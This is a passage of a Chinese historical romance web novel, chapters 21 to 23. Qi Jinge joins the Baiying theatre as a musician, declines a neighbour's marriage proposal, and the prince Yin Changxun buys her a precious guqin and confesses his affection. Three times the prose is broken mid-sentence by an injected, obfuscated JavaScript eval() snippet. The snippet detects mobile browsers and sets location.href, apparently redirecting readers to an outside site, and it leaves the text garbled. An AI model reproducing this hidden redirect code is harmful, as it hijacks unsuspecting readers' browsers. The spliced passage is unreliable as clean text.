他将背上的鱼篓取下来放在地面，拉起袖子擦了擦额头的汗，挨着祈今歌旁边的板凳坐下来，关切地问道：“歌儿，咋了？身体不舒服吗？是不是太热了？” 祈今歌这才发现父亲已经回家了。 她刚刚一直沉醉在自己的思绪中，对周围发生的一切竟然浑然不知，就连父亲什么时候进门了都不知道。 看到父亲关切地目光，这一刻，祈今歌觉得原本有些疲惫的心情突然好像有点缓解了一般，连带着紧皱的眉头都舒缓了开来。 她扯了扯嘴角，露出了一个淡淡的笑容，回答道：“父亲，我没事。” 祈城田细细地打量着她，见她的身体看起来不像是有大问题，于是又问道：“那可是找活的事不顺利？没关系的，今天才第一天，不着急。” 祈今歌摇了摇头，她有心事，但是却不能和父亲明言。 她只道：“不，父亲，恰恰相反，女儿谋职的事很顺利，今日去了百影楼，恰好遇到他们东家招乐工，女儿运气好，已经被任用了。” 祈成田挠了挠脑袋，问道：“百影楼是什么地方？” 他毕竟才来云洲一个月，之前都生活在村子里，云洲很多地方他没听过，也没去过，如今先把凤银街这些个左邻右舍认清了都已经不错了。 祈今歌解释道：“百影楼是云洲最出名的戏院，生意很好，月钱也给的高，想进去干活的人也很多，不过僧多肉少，里面的位置常年没有空缺，所以想进去并不容易。女儿也是运气好，碰巧出门，就赶上了这么一桩好事。” 戏院？ 祈成田一怔。 虽然没吃过猪肉，但是也见过猪跑，戏院里是怎么一回事，他也是从别人嘴里听过的。 的确，如果待在那，是比什么青楼女子，或者家妓好，可终归也不是什么干净的地方。 不少达官贵人、富商等有权有势者对模样标志的戏子进行威逼利诱，让他们出卖自己，这已经不是什么新鲜事。 以前是生死边缘，迫于无奈，祈今歌才卖身去了殷府，如今好不容易出了赎了身，现在又去戏园，这不是刚出狼穴，又入虎口吗？ 更何况祈成田明白，自家的女儿长得漂亮，别说那什么百影楼了，就是整个大宇又能找出几个比她还好看的？ 不怕贼偷，就怕贼惦记。 他怎么能不担心？ 祈成田还是有些顾虑，犹豫再三，他还是选择出口问道：“歌儿，这戏园也是不清净的地方，难免遇到些不讲理的人，到时候可如何是好？” 祈今歌明白父亲的顾虑。 心田被一股暖流灌溉。 她宽慰道：“父亲，您大可不必担心。自古以来，纵然是戏子，纵然还贱籍出身，也有许多坚守尊严和底线，绝不肯同流合污的。再说百影楼的情况有些特殊，和别的戏园不太一样，因为银子给的多，甚至有不少良民都在里面干活呢，旁人想要动手动脚，还得有所顾虑，女儿如今已经是良民，只要自己不愿意，谁也强迫不了我。” 祈城田这才放下心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457673|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 自家女儿的品行，无需多言。 顾虑消除，祈成田也不免为她高兴，一拍手道：“那就太好了。对了，刚好我今天出门钓了鱼，正好又遇到这么个喜事，中午给你煲个鱼汤庆祝一下。” 祈今歌这才察觉，堂屋里隐隐约约充斥着一股鱼腥味。 祈城田平日除了摆弄花花草草外，无事之时，也和凤银巷的一名姓孙老头混熟了。 孙老头的年纪比父亲还要大上十几岁，头发和胡子早就花白了。 不过他年纪虽大，身子骨却是硬抗得很，成田又笑嘻嘻地，看上去还有点仙风道骨的味。 年纪大了，也做不了别的，孙老头给自己找了个爱好，便是钓鱼，以前是一个人出门钓，家中的儿子和孙子都担心的很，如今孙老头和祈成田时不时就一同约着出去，倒是让家里人放心多了。 唯一美中不足的便是二人忙和了半天，却是经常空手而归。 她起身走向摆在房租中间的鱼篓，屈膝弯腰，低头一看，果然父亲今天有所收获。 篓子里躺着两条有些肥美的大鲤鱼，此刻还有着火气，鱼嘴还在微微开合着。 对于钓鱼的人来说，能在收杆的时候带回去一条鱼，简直是比捡到黄金还要高兴。 祈今歌又坐回了原位，朝着父亲问道：“今日收获倒是不错，孙爷爷今天成果如何？” 提起这个，祈成田来劲了，哈哈一笑，脸上的褶皱都堆在了一起，他颇为得意道：“他啊，还是老样子，还是空手而归！今天是我赢了！” 男人要是好胜起来，哪怕年近五十，也和孩子没什么区别。 只是提起孙老头，祈城田突然又想起一件差点被自己抛之脑后的事。 他挠了挠脑袋，说道：“对了，歌儿，今天孙老头和我说了一桩事，和你有关，我说给你听听？你看看你是什么想法，到时候，我也好给老头一个答复才好。” 祈今歌眨了眨眼，想不到孙老头能说出什么和自己有关的事。 她歪了歪脑袋，有些疑惑地问道：“何事？” 祈成田道：“孙老头的孙子不是和你年纪相仿吗？他的意思是想和咱们结个亲，毕竟街坊邻居的，说什么肥水不流外人田，他说他这孙子也很喜欢你，但是寡言少语，胆子也不大，根本不敢和姑娘搭话。我原本是想拒了，毕竟婚姻大事哪能随便定的，但是我想，这毕竟是你的事，得让你自己做决定，孙老头的孙子你也是见过的，不知道你怎么看？” 想法？ 祈今歌能有什么想法。 她的确见过孙老头的那位孙子，隔的很远瞧见的。 那人模样也算得上清秀，文质彬彬的样子，听说正在准备科举考试，也颇有才华。 可以说是未来可期，也算得上是青年才俊。 只是两人话都未曾说过几句，祈今歌甚至连他的名字都不知道。 他根本不了解自己。 当然，祈今歌也没有想要了解他的想法。 男人啊…… 最是麻烦了。 尹长寻这一个男人都足够让她头疼了，她哪里还有精力搅和在别人身上。 于是她揉了揉眉心，委婉答复道：“爹，女儿如今只想陪着您，婚姻大事，还没到着急的时候。” 祈成田点了点头，并不意外。 这也算是他意料之内的回答。 如今女儿才出狼窝，没有道理这么急着决定自己的终身大事。 他没什么文化，也不懂什么大道理，却言出必行，说了要听女儿自己的决定，他便不会多加干涉。 21. 吩咐 庆王府正院内。 两名年轻剑客挥剑而向，一看便是身手不凡，绝非常人，刀光剑影之间，杀招频出，最终白衣剑客将黑衣剑客击倒在地，便算点到即止。 鼓掌声从前方响起。 尹长寻抬头，便看见明正抚掌而笑，后面紧跟着的便是金利，正从不远处走来。 尹长寻坐着院内，一条腿屈膝搭在椅子扶手上，身子后仰，一幅吊儿郎的样子。 看见来人，尹长寻并没有动弹，一副懒得招待的态度。 明正倒是宾至如归，直接走到了尹长寻的旁边，拿起了摆在一旁圆桌上的葡萄送到了自己嘴里，吃了两三颗以后才不急不慢道：“长寻，先帝当初派给你的两名侍卫，怕是现在皇宫里所有大内护卫加起来，也不是对手吧。” 话毕，他又朝着正在等候指令的两名剑客挥了挥手，招呼道：“阿左，阿右，你两的武艺越发精进了！” 阿左和阿右二人大尹长寻十岁左右，年纪尚轻，一个看起来略显严肃，一个看起来稍显活泼，不过长的皆是丰神俊朗，又因常年习武，加之身着一袭劲装，显得身形更加精壮，如起伏山峦般的肌肉轮廓一览无余。 闻言，二人齐齐收剑入鞘，拱手行礼道：“明公子，多谢夸奖。” 阿左和阿右这两个名字并非二人本名，其称呼便是谐“左”和“右”之意，他们尚且还在年纪轻轻之时便被奉命专职保护天子，其剑术天赋乃是天才中的天才。 后因先帝盛宠苏双月，对尹长寻的关注更是远远多余其他皇子，种种原因之下，先帝竟破例将二人赏赐给了七皇子尹长寻。 先帝的所作所为引起了轩然大波。 皇宫之中，每个皇子都配有侍卫，可是皇上将贴身侍卫赏赐给皇子，又完全是另一回事了。 毕竟哪怕是太子尹天志，都没有享受过这种待遇。 几乎所有人都认为，这是先帝的某种暗示，尹长寻一定会将太子职位取而代之。 然而喧嚣过后，一切如初。 皇后依旧是那个皇后，太子也依旧是那个太子。 旁人也只能当自己想多了，会错了意，实际上先帝只是单纯想保护七皇子而已，并无他意。 当时的尹长寻不过还是一位孩童，连他人的名字都还叫不怎么齐整，于是先帝便让尹长寻给两个护卫起个小名。 尹长寻小小的脑袋里只能想起了“左右手”这般简单之意，自此这两个称呼便一直沿用至今。 尹长寻挥了挥手，示意二人退下，如此正院之内，便只剩尹长寻和明正、金利三人。 明正扇了扇手中握着的扇子，给自己送了点凉，末了又给尹长寻扇扇风，才揶揄道：“你心情倒好，一早上在这看人打架，倒是把辛苦事都丢给我。” 尹长寻漫不经心道：“怎么？你还不乐意了。我给你找点事做，你也少挨师傅一点骂。” 明正白他一眼，这么说他还得感谢尹长寻了。 明正口中的辛苦事便是指百影楼一事。 尹长寻倒是大手一挥，一掷千金地将百影楼买下了，但是管理戏园也不是买下来一劳永逸的事。 虽然说原班人马都被留下了，照往常一样按班就部运行就行，可终归有些事情是需要人点头的，于是尹长寻就直接将此事扔给了明正处理。 明正倒是不讨厌这事，毕竟尹长寻出手大方，不可能亏待自己，自己虽然无所事事，但唯独就对美人歌舞有兴趣，原本他以前也就是百影楼的常客，处理起事情也是得心应手。 父亲明守义三天两头说他不成大器，任凭舌头说躁了，明正也不为所动，现今尹长寻大手一挥，平日里管理百影楼的职责就落在了明中身上，他还不得不买尹长寻这个好兄弟的账。 苦啊。 明正心想。 虽然这苦里面，他也有点乐在其中。 毕竟这戏院里有名叫柳诗诗的戏子，名气虽然不及院里的台柱子名气大，但他却很是喜欢，如今见面方便甚至比以前还要方便，他没有不乐之理。 “是是是，能为庆王鞍前马后是我的荣幸。”明正笑了笑：“我说你一天到晚不闷吗？我们不喊你你就不出去啊？这不看你无聊，关心一下你嘛！” 尹长寻瞥了他一眼，问道：“你找我就为了闲聊？” 明正嬉皮笑脸，道：“怎么了，不能找？反正你一天到晚也没事！” 明正说的是实话，王爷这个身份，虽然贵为皇亲国戚，但是都有着自己的职责，但是尹长寻不属于常例，他是标准的闲散王爷。 王爷的身份让他吃穿不愁，云州的现状也几乎不用他费心，他乐意管就管，不乐意还有明守义把关治理。 明正越想越羡慕，怕是皇上也是考虑到了尹长寻的性格，才将尹长寻分封过来吧？ 相比起皇家皇子互相残害的戏码，尹天志这个哥哥真是难得一见。 或许有人说没有一番作为是没出息的表现，可是明正觉得这分明是快活似神仙。 能躺着干嘛站着？ 谁规定人这一生就不能碌碌无为，得过且过了？ 明正才不认同他们的看法。 尹长寻嫌弃道：“那你的确闲出屁了。” 得，一句话彻底将明正哽住。 金利上前解释道：“王爷，其实我们这次前来就是想告诉您，那日您点名的人都已经正式来百影园开工了。您若是闲来无事，可以前去看看他们的情况。” 尹长寻这才对他们说的话有了点兴趣：“哦？都来了？” 尹长寻虽然是这么问，可是明正明白，他哪里会关心无关紧要之人。 前来的五人之中，只有祈今歌是尹长寻点了头的。 至于另外几人？ 都是尹长寻在祈今歌走后，胡乱翻起了前来应试的登记册里，随意点了几个人名凑数的。 原本这些人，尹长寻一个都没看上眼。 天知道他为什么要临时点四个人和凑数一样的安排进来，虽然百影楼也不缺这点钱。 “对啊，都来了。”明正将双手搭在了尹长寻的肩头，殷勤地给他捏了捏，同时压低了声音道，“那个祈今歌也来了。” 不来才不正常，明正心里诽腹，百影楼的月钱开的比别的戏院高这么多，是和银子有多大仇，才会决定不来？ 尹长寻意味不明的“哦”了一声，随即又有些不满道：“你特意提起她干什么？” 明正看他这副死鸭子嘴硬的样子，实在是有些想笑。 他心道，你表现的这么明显，两次亲自送回家，作为兄弟，想看不出来也是很难。 他憋住笑出声的冲动，态度颇好：“没话找话，随便提提罢了。你不爱听，我便不说了。” 他也不戳穿，铁树开花的乐子可不多见，他倒要好好看个清楚，尹长寻对女人动心，是什么模样。 顺便也可以让他那痴迷尹长寻到到有些魔怔的妹妹清醒清醒，不然这倔丫头还真干得出在一棵树上吊死这这种傻事。 简直就是一箭双雕。 * 祈今歌来到百影楼以后，才发现被录用的不止有自己一个人，就连上次以为自己彻底没希望的王水闲竟然现了身。 加上自己，三男两女，统共是五人，看上去都很年轻，看来至少不会出现因为年纪相差过大而无话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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一连好几天，祈今歌也没有看到尹长寻，倒是看到他的好兄弟明正三天两头打招呼，再加上管事叶威也能管理的井井有条，一切都运行得有条不紊。 尹长寻不来也不奇怪。 新来的四位伙计甚至以为明正才是大东家，分分拍起了马屁，夸他年轻有为，夸他气度不凡。 明正倒是坦坦荡荡否认：“我可没那个财力物力，你们的东家忙着呢，我只是代为照管，他有空才能来。” 其余四人当初隔着纱幕，根本没有机会得见尹长寻模样，一时间，纷纷对这位神秘的东家更加好奇。 她倒是松了一口气。 若只是偶尔前来，倒也还好。 于是她更加骛无旁心地投入到了排练之中。 这段时间，她都在临阵磨枪，赶紧学习来这儿的宾客大多爱听什么曲目，什么戏曲点的最多，竟然都有些忙不过来了。 这日几人刚刚合奏排演完毕，也到了戏罢园歇的时候，祈今歌和另外四人也准备收拾收拾回家。 祈今歌刚准备起身离去，排练房的门却被突然打开。 众人回头一看，正是管事叶威。 叶威并不是喜欢闲聊的性格，这几天他也会时不时来排练房看看他们的情况，也都是为了看看进度如何，总之，都是为了正事而来。 大家都以为他是有什么新的吩咐，但是叶微只是朝着祈今歌挥挥手，示意她跟着出门过去。 祈今歌和叶威走到了门外，为了方便二人说话，又顺带合上了排练房的门。 她道：“叶管事，有什么事吗？” 叶威指了指前厅二楼的方向，道：“你现在去一趟茶楼二楼最里间的那间房，东家有事要吩咐你。” 22. 买琴 祈今歌已经走到了二楼的雅间，却没有立刻推门进去。 二楼最里间的雅间乃是原东家设了给自己用的，但是尹长寻接手后没来过几次，因此这段时间，反而是明正、李别肃、金利三人待的时候还多一点。 虽然她内心隐隐约约也明白，既然选择来了百影楼，与尹长寻有交集是迟早的事。 但是毕竟距离上一次见尹长寻也整整过去十来天了。 她不禁想，这位让她捉摸不定的小王爷，说不定已经对她兴趣消散了。 不过现在的她可以得出结论，是自己判断错误了。 她微微定了定心，最终还是敲响了门。 “进来。” 熟悉的声音。 祈今歌推开了门。 房中布置的很是讲究。 入目便是正中楠木茶桌与四张太师椅。左侧设雕花屏风，右侧靠墙是满列古籍的书架。罗汉床上铺着垫子，桌上摆着一套紫砂茶具，整个布局看上去雅意十足。 屋内只有尹长寻一人。 尹长寻正坐在罗汉床上，手上拿着一本古书，另一只手正随意翻动着，听见祈今歌进来的动静，也没有抬起眼帘看她。 身后的窗户上的两片雕花窗扇大开着，此刻临近黄昏，吹过的夏风已经没了白日的热度，微微带着一丝清凉，不着痕迹地撩动尹长寻的发尾。 纵然是没有任何点缀，尹长寻无论从哪个角度来看，都是不折不扣的玉郎。 哪怕不怎么在乎样貌的祈今歌也承认，尹长寻这种人哪怕只是穿个粗布麻衣，都是极为耀眼的。 这张脸她已经看了两世了，按理说，她应该不会再有什么惊艳之感，但此时此刻，她依旧看得有些怔住了。 尹长寻本就是不想让祈今歌觉得自己太没事做，所以才装模作样拿了本书装样子。 可见祈今歌迟迟不说话，也忍不住看向了她。 她的目光落在了自己身上，似乎是看得走神了。 一瞬间，尹长寻的嘴角微微翘了翘，只感觉心情极好。 只不过他虽然享受此时此刻，可是到底还是有事等着要办的，于是他微微咳嗽了两声，将祈今歌的思绪扯了回来。 百影楼的人都不知道尹长寻的真实身份，只当他是个极为财大气粗的公子哥，尹长寻在上次送她回家时也和她说过，他并不想以王爷这层身份在外行事，祈今歌只需要和他人一样，把他当寻常人看待便。 就算不考虑尹长寻王爷的身份，怎么着尹长寻也是自己的东家了，祈今歌必然是要比之前还要配合和尊重的。 毕竟吃人嘴软，拿人手短，尹长寻现在可是她的衣食父母。 她就算不去讨好，也是不能得罪的。 更何况一个称呼而已，根本不算什么问题。 因此，有外人在场时，祈今歌打算和旁人一样唤他东家，两人在时，她依旧唤她王爷。 如此，倒也不算失了规矩。 于是她走到了尹长寻的面前，侧身见了礼，柔声道：“王爷，您喊我有什么吩咐吗？” 她今天说的话的语气和平时有些不同。 以前她和人说话，虽然声音也柔软，可是这份温柔能让人能让人感到了生疏。 但是今天不是。 今日的她，声音清润婉转，像山间潺潺流动的清泉，透着空灵与纯净，又软又动听。 哪怕只是简简单单地听到她说的一句话，尹长寻都感觉得到，她的态度比之前好多了。 尹长寻笑了一下。 他知道祈今歌为何会有这样细微的变化。 如今他的身份变了，祈今歌没有理由对她的东家不客气。 “东家”无疑是个显得有些生分的身份，尹长寻不喜欢。 可是如果这个身份能让他和祈今歌两个人靠的更近点，尹长寻倒是不介意她多喊喊。 他道：“你的琴艺炉火纯青，不知道是不是很懂琴？” 祈今歌没想到尹长寻竟然是特意把她喊来问这个。 不过也的确问对人了。 从她八岁进殷府开始，就从小和古琴打交道，虽然她并不涉及制作，在殷府用的也是寻常古琴，可是毕竟是天天见面的乐器，十年下来，经年累月地了解，懂的也是比旁人多不是。 隔行如隔山，再微不足道的一个行业，其中的门道也不会少。 她甚至可以自信地说，在古琴的选取当面，她至少胜过九成人。 要想做成一张好的古琴，木材必须质地疏松、纹理顺直。在形制上，要做到古典素雅，琴面线条流畅一气呵成。制作工艺上，从斫制到上弦等工序，每一步都要精细操作，否则就会差之毫厘，失之千里，制作出来的效果大打折扣。 总归是问到了祈今歌擅长的领域了，祈今歌也轻松了下来，不似往日那版拘谨。 她答道：“虽然说不上是绝顶精通，但是如果只是看值不值，用材选料造价几何，应该还是没有什么问题的。” “那便好。”尹长寻一只手的食指轻敲着桌面，缓缓道：“我这几日刚好想要买架古琴，不过你也知道，我并不懂这玩意儿，这几天闲的无事，我便走街串巷，云洲大大小小的琴肆我也去了个遍，但是也有看得上的。只是做商人的都是见钱眼开的主，一看我是外行人便漫天要价，当我冤大头，你既然懂行，我就想烦请你和我去一趟，也免得我被漫天要价。” 这话说的合情合理，甚至还十分的客气，收敛起了尹长寻平日的桀骜，简直人找不出一丝毛病。 无论从哪个角度来说，祈今歌都没有不帮忙的理由。 只是…… 尹长寻什么时候是个心疼钱的主了？ 而且他虽然受母亲影响，在乐艺上颇有天赋，可他也只是享乐一样的看他人表演，从未自己亲自操刀。 祈今歌所知，若说他唯一有兴趣的事，便是小时候还跟着他手下的侍卫阿左和阿右学了几番拳脚功夫，听说也是学的很是不错，不过祈今歌倒也没见过他施展功夫过。 由此可见，尹长寻对自己亲自舞文弄琴之类的事情是没什么兴趣的。 今日怎么会突然想到要买琴了？ 不过前世和今世也有不少事情悄然间发生了变化，尹长寻便是突然有了学琴的想法也不算奇怪。 人能给自己寻个可以打发时间的爱好，倒不是件坏事。 否则漫漫人生，岂非无趣？ 于是祈今歌这一 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一来，他家卖的琴品质极佳，不论是斫琴师，还是选材木匠，甚至是漆工，都是选的的最为有名气的，做出来的成品的品质也是最为有保障的，能拥有知音堂中售卖的古琴，几乎是云州每个琴师的梦想。 二来，好品质的东西是由钱砸出来的，每一个精细的工艺都要花钱，更何况制作的人有了名气，开的价格就已挺贵，成本已是不低，因此知音堂卖出来的价格就更加贵的吓人。 祈今歌赎身的银子是两千两白银，已经是无数人辛劳一辈子都赚不到的价格，但是在这知音堂中，她可能还不如其中的一架琴值钱。 祈今歌以前在殷府之时，每年也会出来闲逛几次，但是对这知音堂，她是属于“三过店门而不入”。 无他，因为她明白看了再喜欢也没用，根本买不起。 尹长寻朝她看了一眼，示意她一同跟着进去。 推开那扇朱红色的木门，能看到地面铺着平整的青砖，擦拭得一尘不染。 琴架乃是贴着墙壁摆放的，用的是结实好看的红木，整齐有序地摆着各式各样的古琴，房屋的正中央还放着一张面上空无一物的黑色长案。 角落博山炉中正升起袅袅青烟，悠悠檀香味随之弥漫，萦绕在鼻尖，轻柔舒缓。 柜台处站着的乃是一名青年男子。 他一袭锦衣华服，衣料上乘，绣纹精致，却毫无含蓄美感，太过大开大合。 腰间束着的宽带上，挂着硕大的玉佩，右手食指上还别着一个硕大金戒指，愈发衬出他的张扬。 模样倒是算得俊朗，是张讨人喜欢的脸。 美中不足的便是整个人散发出来的气质和这古色古香的琴管有些格格不入，让人感觉他出现在钱庄这样铜臭味遍地的地方反而会更合适些。 如果没有猜错，此人乃是知音管的主人，名为周铭。 见到二人进屋，周铭扬起了一个灿烂至极的笑容，从柜台处走了出来，一边拱手，一边迎着二人道：“哎呦，我当是哪位贵客呢！原来是尹公子啊！我还以为你不会来了呢！” 23. 喜欢 周铭这幅热络的模样，祈今歌倒是很熟悉，如果不是见了老熟人，那么就是见了财神爷。 尹长寻道：“既然和你说了会来，自然会来。” 周铭又看了看祈今歌，一时间，竟然目光有些收不回来，不自觉地多看了一会。 不过他很快也就恢复了平静，朝着祈今歌笑了笑，并没有多说什么。 看模样，他似乎对祈今歌的到来并不意外，以至于都没有多问一句。 周铭眨了眨眼睛，朝着尹长寻道：“尹公子，咱们是直接看琴？” 尹长寻道：“前几日看的那几张琴，你先拿出来看看。” 周铭心领神会，朝他点了点头，道：“您稍等。” 说罢，他转身去了身后的内间。 祈今歌有些愕然，朝着店铺内扫了一圈。 摆在外面的琴已非凡品了，价格已经不是一般人能承受的。 如果还藏在内间，不轻易示人的古琴，基本上也就是这家店的镇店之宝了。 既然是镇店之宝，必然是笔不小的买卖。 这喊她来把关…… 合适吗？ 该说尹长寻太不把钱当回事了，还是该说她对自己太放心了？ 这个问题尚且还没想明白，不消一会儿，周铭便从里面抱出了三架琴放在了长板上。 祈今歌一看，这三架古琴的琴身看得工艺十分考究。 原本摆在琴架上的古琴已经做工用材就已经够精良了，只不过要是和面前的三架琴比起来，又是小巫见大巫了。 祈今歌心道，这知音堂能在云洲有名气，还是有几分本事身上，无论从哪方面来说，都称得上是琴中极品。 周铭按照古琴摆放着的顺序表，眉飞色舞地给二人介绍着每张琴的来历。 祈今歌认真听着他说的一字一句。 周铭推荐的话虽然有些王婆卖瓜，自卖自夸的嫌疑，但是也不算信口开河，尽管略有夸张，但是也大体不差。 他还随意按动了几下琴弦，算是试音给他们二人听。 等周铭说完了话，尹长寻朝着祈今歌问道：“你觉得如何？” 祈今歌想了想，道：“周掌柜这三架古琴，都不是凡品，不过若是依我拙见，非要优中选优，最好的还是这张。” 她伸出白皙又修长的食指，指向了中间的那架名为“流霞”的古琴，朝着尹长寻解释道：“这流霞琴音色是其中最为色浑厚深沉的，另外两张琴虽然声音清润，但是琴弦之间共振却不够协调。并且就如周掌柜所说，这琴还是出自前朝最为有名的制琴世家黎家的作品，不管是自己用琴，还是作珍藏之用，都是极好的选择。” 周铭一听，这姑娘倒是个识货的。 一选就选了这三张古琴之中………不对，甚至是整个店铺里面最好的流霞琴。 他开这个店，见过的人多了去了，基本都是些不识货又不差钱的人来附庸风雅。 对于他们这些人，琴怎么样并不重要，毕竟大多数人买来也是做摆设，重要的是能够体现自己的身份，彰显自己的面子，因此他们往往是只挑最贵，不要最好的。 他原本以为这位尹公子和之前的人一样，也是什么都不懂的，毕竟他一看就是养尊处优的人，铁定是个摇钱树。 摇钱树前两天一进店就是让他拿出最贵的古琴来看看，周铭看他便如待宰的肥羊，正准备磨刀霍霍向猪羊，可是他刀还没磨好，他的摇钱树便离开了，只说是改日再来。 周铭以为这不过是句简单的推辞，要不没看上，要不就是买不起，不管哪一种，这桩买卖基本都不可能成了。 就好比有人说改日请你吃饭一样，绝大多数时候，你永远都等不到他们口中的那个“改日”。 可是没想到，摇钱树竟然还真的来了，而且还不像上次是一个人来的，还带来了一个貌美如花的女子。 只不过周铭并不觉得稀奇，来他这儿的男子，带相好的并不少，他早就已经司空见惯，这些女子往往是空有美貌，言之无物，只会撒娇谄媚，活生生的绣花枕头一个，对于古琴的了解更是一窍不通。 他没想到今天来的这个还能说道说道。 只不过懂也行，不懂也行，都不耽误他赚钱。 不懂，他就直接当冤大头狠狠开价。 懂，那也不碍事。 谈得来就谈，谈不来就一拍两散。 错过了一个金主，大不了等下一个。 但是想仗着懂行就砍价，那是一万个不可能。 他正思储着，尹长寻又是问道：“确定了？” 这话不是和他说的，是和祈今歌说的。 只是听起来怎么说得好像是祈今歌能做主了一样，明明她跟着尹长寻出来也只是做个参谋罢了。 尽管觉得有些怪怪的，不过祈今歌确信这不会是笔亏本的买卖。 她轻轻颔首，算是给了肯定答复。 于是尹长寻道：“那就选这个了，开个价吧。” 祈今歌哑口，就算尹长寻不缺钱，可他未免也太相信自己了，直接就这么定了？ 都不再多考虑几下吗？ 就这么相信她？ 敏锐的周铭竖起耳朵一听，便知道机会来了，此刻不开口，更待何时。 于是他压住肥肉即将进口的激动，道：“尹公子，您身边这位姑娘可真是识货，这琴可是已经有五百年的历史了，这其中可都是岁月的沉淀！您看咱们也算是投缘，您也是个爽快人，价格不高，就两千两白银！” 一张古琴，两千两白银。 的的确确是狮子大开口。 祈今歌刚想提醒尹长寻这个价格贵了，却看见尹长寻眉头都没皱一下，直接拿了银票付了钱。 祈今歌只好把想说的话收了起来。 周铭想过这位公子哥爽快，却没想过这么爽快，眼睛看到银票两眼冒了光，像是怕尹长寻反悔，立马麻利地将银票收了过来，又翻出来一个木质琴匣，将流霞琴细致包裹在了里面。 整个过程一气呵成。 周铭准备将琴匣递了过去，但是又不知道递给何人才好，于是他出声询问道：“这……您拿着？” 尹长寻瞥了祈今歌一眼，道：“给她拿着吧。” 周铭觉得这公子哥长得一表人才，做事未免太没风度了，哪有让相好的姑娘拿东西的？ 他转念一想，莫非不是相好的，只是陪同的丫鬟？ 毕竟他刚刚将二人的一举一动看在眼里，也没见有什么亲密举动。 知音堂之中，带着下人来取琴的贵客，也不是没有。 只是…… 周铭又不动声色地打量了祈今歌一眼，哪有这样的绝色丫鬟，就算有，也迟早会被主子收入囊中，这尹公子莫不是瞎子不成…… 祈今歌心里没有什么想法，只是默默地接过琴匣，将其抱在了怀里，如今尹长寻是她东家，她是他下属，拿点东西理所当然。 二人上了马车，还是照着来时的位置坐着。 他们两在知音堂耽误的时间不算久，出来的时候晚霞还未彻底散去，暖色的天光散落在街角的每一处。 祈今歌垂眸，一只手摸了摸琴匣，嘴角不自觉地涌现了一丝笑意。 尽管这琴并不属于自己，但是能借尹长寻得光，短暂拥有片刻，对她来说，已经是一种幸福。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457676|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 否则，凭自己的身家，怕是连看一眼都是奢侈。 尹长寻难得见到祈今歌展露笑颜的模样，多看了几眼后，才将她从自己的世界中拉了出来。 “这琴，你可喜欢？” 尹长寻问道。 祈今歌抬眸，看向尹长寻道：“这是把好琴，民女又是习琴之人，嫣然有不喜欢的理由？想必王爷您有这样的好物，习琴的道路上也能冲淡不少练习的枯燥。” 尹长寻并不接她的话，反而问了另一个话题：“这人开价两千两，我可买的值？” 祈今歌实话实话：“这琴的确价格不菲，可是两千两白银的价钱也的确是贵了，依我浅见，一千五百两倒是值，可如此，怕是那掌柜却是不可能答应了，毕竟他可是出了名的分文不给便宜。更何况我本来想提醒您，可还未出声，您就已经下了决定，想必是势在必得，故而我才不再言语。因此若说价格，自然是有些不值，可是我转念一想，如果能博王爷您开心，这多出来的五百两便是再划算不过。” 她这话的确说的好听，便是听惯了马屁的尹长寻也不得不承认她夸的不显山露水，水平极高。 尹长寻不是没见过比祈今歌说话更好听的人，可是其他人的溜须拍马他不稀罕，可他独独是吃她这一套。 尹长寻道：“你说得对，这钱的确花得我开心，不过不是因为我喜欢。” 这话明显只说了一半，明显等着祈今歌去问下一半。 祈今歌很是配合尹长寻，道：“那是因为什么？” 尹长寻笑了笑，道：“因为你，因为你喜欢，所以我觉得这钱花的值。” “今日约你前来，不是为我选琴，而是为你买琴，你来百影楼后，日日都要弹琴，每天都要用的东西，自然得买最好的古琴才能配上你，见你开心，我自然也就开心。” 祈今歌听得一怔，抱着琴盒的双臂蓦然绷紧。 第一次，尹长寻如此直白地对她表达心意。 原来记忆中那样冷漠如冰的少年，说出这样的话的时候，神色中也裹着暖意。 这无疑是一个令祈今歌猝不及防地回答。 一瞬间，她甚至无法很好地控制自己面部表情，薄唇微微开合，眼神中也满是不可置信， 她万万想不到尹长寻说出这种话。 太突然了。 要知道不久前，他们甚至只能算得上是陌生人，至今为止，也不过是见了三四次而已。 而尹长寻的变化竟然如此之大？ 从最开始的对她不屑一顾，直接转变为了给她送如此贵重的礼物？ 没理由啊？ 她甚至没做什么足够令尹长寻对她产生好感的事！ 若不是她很确信自己没有失忆，否则她很要怀疑自己是否遗忘了什么，例如这段时间是否发生了什么大事导致尹长寻对她态度如此大转弯之类的。 她收了收脸上诧异的神色，闭上眼睛，随后睁开，瞳孔中的波澜已经被平复了许多。 她静静地看着尹长寻，好半天才问：“为什么是我？” 短短几个字，已经足够尹长寻明白她话中之意。 为什么要送她如此特殊的东西？ 为何待她如此特殊？ 为何要对她说这番话。 但是他也说不清道不明。 他唯一明白的，便是在百影楼再次见到祈今歌以后，他发现对这个曾经冒犯自己的女子，内心感受到的不是不耐、厌烦、讨厌，反而未曾预料的欣喜。 这份欣喜过于强烈，以至于他无法忽视，更无法否认。 他便明白了，不论缘起为何，自己已然是有些在意她的。 24. 理由 